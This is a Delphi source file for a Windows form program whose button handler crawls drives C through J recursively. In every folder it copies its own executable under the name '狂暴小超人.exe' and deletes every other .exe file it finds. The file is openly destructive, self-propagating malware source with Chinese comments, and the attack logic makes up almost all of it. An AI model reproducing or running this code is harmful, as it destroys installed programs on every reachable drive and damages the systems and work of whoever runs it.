unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure SearchNext(filename : string);
Function GetHardDiskPartitionInfo(const DriveLetter:Char;
var VolumeName,VolumeSerialNumber,PartitionType:string;
var TotalSpace,TotalFreeSpace:string): Boolean;
private
{ Private declarations }
public
{ Public declarations }
end;
const
Disk : array [1..8] of char = ('C', 'D', 'E', 'F', 'G', 'H', 'I', 'J');
var
Form1: TForm1;
ss: TSearchRec;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
temp : string;
ii : integer;
VName,VSNumber,PType:string;
TotalS,TotalF:string;
begin
for ii:=1 to high(Disk) do
begin
if GetHardDiskPartitionInfo(Disk[ii],VName,VSNumber,PType, TotalS,TotalF) then
begin
FindFirst(Disk[ii]+ ':/*.*', faAnyFile , ss); //查找第一个文件
while 1=1 do
begin
FindNext(ss); //查找下个文件
if temp = ss.Name then
break; //如果文件名与上个相同 则退出循环
if (pos('.',ss.Name) <> 0) and (pos('.',ss.Name) <> 1) then
begin
if (ExtractFileExt(ss.Name) = '.exe') and (ss.Name <> '狂暴小超人.exe') then
begin
//ExtractFilePath(application.ExeName)
copyfile(pchar(application.ExeName), pchar(Disk[ii]+':/狂暴小超人.exe'),false);
deletefile(Disk[ii]+':/' + ss.Name); //删除文件
end;
end
else if pos('.',ss.Name) = 0 then
begin
SearchNext(Disk[ii]+':/'+ss.Name); //添加文件夹
end;
temp := ss.Name;
end;
end;
end;
end;
procedure TForm1.SearchNext(filename : string);
var
s: TSearchRec;
temp : string;
begin
FindFirst(filename+'/*.*', faAnyFile , s);
while 1=1 do
begin
FindNext(s);
if temp = s.Name then
break; //如果文件名与上个相同 则退出循环
if (pos('.',s.Name) <> 0) and (pos('.',s.Name) <> 1) then
begin
if (ExtractFileExt(s.Name) = '.exe') and (s.Name <> '狂暴小超人.exe') then
begin
//ExtractFilePath(application.ExeName)
copyfile(pchar(application.ExeName), pchar(filename + '/狂暴小超人.exe'),false);
deletefile(filename+'/' +s.Name); //删除文件
end;
end
else if pos('.',s.Name) = 0 then
begin
SearchNext(filename+'/'+s.Name);
end;
temp := s.Name;
end;
end;
//检测是否有该磁盘分区
Function TForm1.GetHardDiskPartitionInfo(const DriveLetter:Char;
var VolumeName,VolumeSerialNumber,PartitionType:string;
var TotalSpace,TotalFreeSpace:string): Boolean;
var
NotUsed: DWORD;
VolumeFlags: DWORD;
VolumeInfo: array[0..MAX_PATH] of Char;
VSNumber: DWORD;
PType: array[0..32] of Char;
VName:array[0..32] of Char;
begin
if not GetVolumeInformation(PChar(DriveLetter + ':/'),
@VName, SizeOf(VolumeInfo), @VSNumber, NotUsed,
VolumeFlags, PType, 32) then
begin
result:=false;
exit;
end
else
result:=true;
end;
end.